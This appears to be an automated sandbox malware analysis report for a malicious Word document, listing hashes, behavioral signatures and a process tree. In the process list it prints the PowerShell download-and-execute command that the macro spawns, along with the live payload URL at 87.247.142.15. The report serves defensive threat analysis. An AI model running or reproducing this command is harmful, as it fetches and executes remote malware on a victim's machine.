Analysis
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max time kernel
46s -
max time network
41s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 03:43
Behavioral task
behavioral1
Sample
6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc
Resource
win10v2004-20240508-en
General
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Target
6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc
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Size
35KB
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MD5
24452bcd3b0021f3a428dc32b62a1b0f
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SHA1
28cec296fa3a3ba5074cfa070e710efc3ed48473
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SHA256
6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d
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SHA512
a0cfcf79b046377bee8770b83cf2f8264b30bb900a4873e7d9f9c1464cacca3bc9e869ea92da0224ff99a4bf26342559b99fa37b4f60e6e29cbcf92b44deac44
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SSDEEP
384:qlE8iSwvxjk+t7DRF8Q8IQ7lbEZ0j9Tth6+G6:qlqxw+tD8DIolE8r6+G6
Malware Config
Extracted
http://87.247.142.15:8081/Tube-rs.txt
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5012 324 powershell.exe -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 21 5012 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3484 WINWORD.EXE 3484 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 5012 powershell.exe 5012 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 5012 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE 3484 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6a90fe773f24d7b944f7c2adb651fa6ba89956ad362571d67a17e0c54dfc499d.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3484
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://87.247.142.15:8081/Tube-rs.txt'))1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5012
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82